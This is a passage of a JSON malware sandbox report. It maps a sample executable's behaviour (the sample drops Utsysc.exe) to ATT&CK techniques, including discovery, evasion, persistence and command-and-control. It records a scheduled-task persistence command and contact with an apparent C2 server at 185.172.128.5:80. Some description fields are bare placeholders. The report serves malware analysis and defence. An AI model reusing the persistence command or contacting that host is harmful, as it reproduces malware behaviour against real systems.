retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"Utsysc.exe\" called \"RemoveDirectoryA\" with parameter %APPDATA%\\80c6bf70bf3f8f (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount64\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$27","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\DISPLAY1; Source: \"00000000-00001140.00000001.133780.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.997572509832422","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"WTSSendMessageW\" (Indicator: \"sendmessage\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00002224)\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002224)\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00002224)\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00002224)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002224)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"IsWow64Process\" with parameter \"2224\" - (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"IsWow64Process\" with parameter \"1140\" - (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetWindowTextW\" (UID: 00000000-00002224)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002224)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"Utsysc.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"Utsysc.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Utsysc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\24CA467F398C64C1F70011FFC53598F2F09971998E08E2267F39F06776AFBB15.EXE\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\UTSYSC.EXE\")\n \"Utsysc.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SCHTASKS.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\4fdb51ccdc (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"CreateDirectoryA\" with parameter %APPDATA%\\80c6bf70bf3f8f (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\4fdb51ccdc\\Utsysc.exe\"\" - (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\4fdb51ccdc\\Uts\" - (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.5:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LdrFindResource_U\" (Indicator: \"FindResource\"; Source: \"00000000-00001140.00000002.135699.05730000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\" in Source: 00000000-00001140.00000002.135699.0046B000.00000020.mdmp\n \"\\Registry\\Machine\\Software\\Classes\\\" in Source: 00000000-00001140.00000002.135699.0046B000.00000020.mdmp\n \"REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001\\Software\\Policies\\Microsoft\\Windows\\Safer\\CodeIdent\" in Source: 00000000-00001140.00000000.131861.03580000.00000004.mdmp\n 00000000-00001140.00000001.133780.03580000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00001140.00000000.131861.03580000.00000004.mdmp\n 00000000-00001140.00000001.133780.03580000.00000004.mdmp\n 00000000-00001140.00000002.135699.03580000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2224:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SessionImmersiveColorMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:2224:64:WilError_01\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\SM0:2224:168:WilStaging_02\"\n \"SM0:2224:64:WilError_01\"\n \"Local\\SessionImmersiveColorMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:2224:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2224:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\80c6bf70bf3f8f7f70ad58b82ed298f8\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1140:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:1140:64:WilError_01\"\n \"SM0:1140:64:WilError_01\"\n \"Local\\SM0:1140:168:WilStaging_02\"\n \"Local\\SM0:1140:64:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B50000\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" loaded module 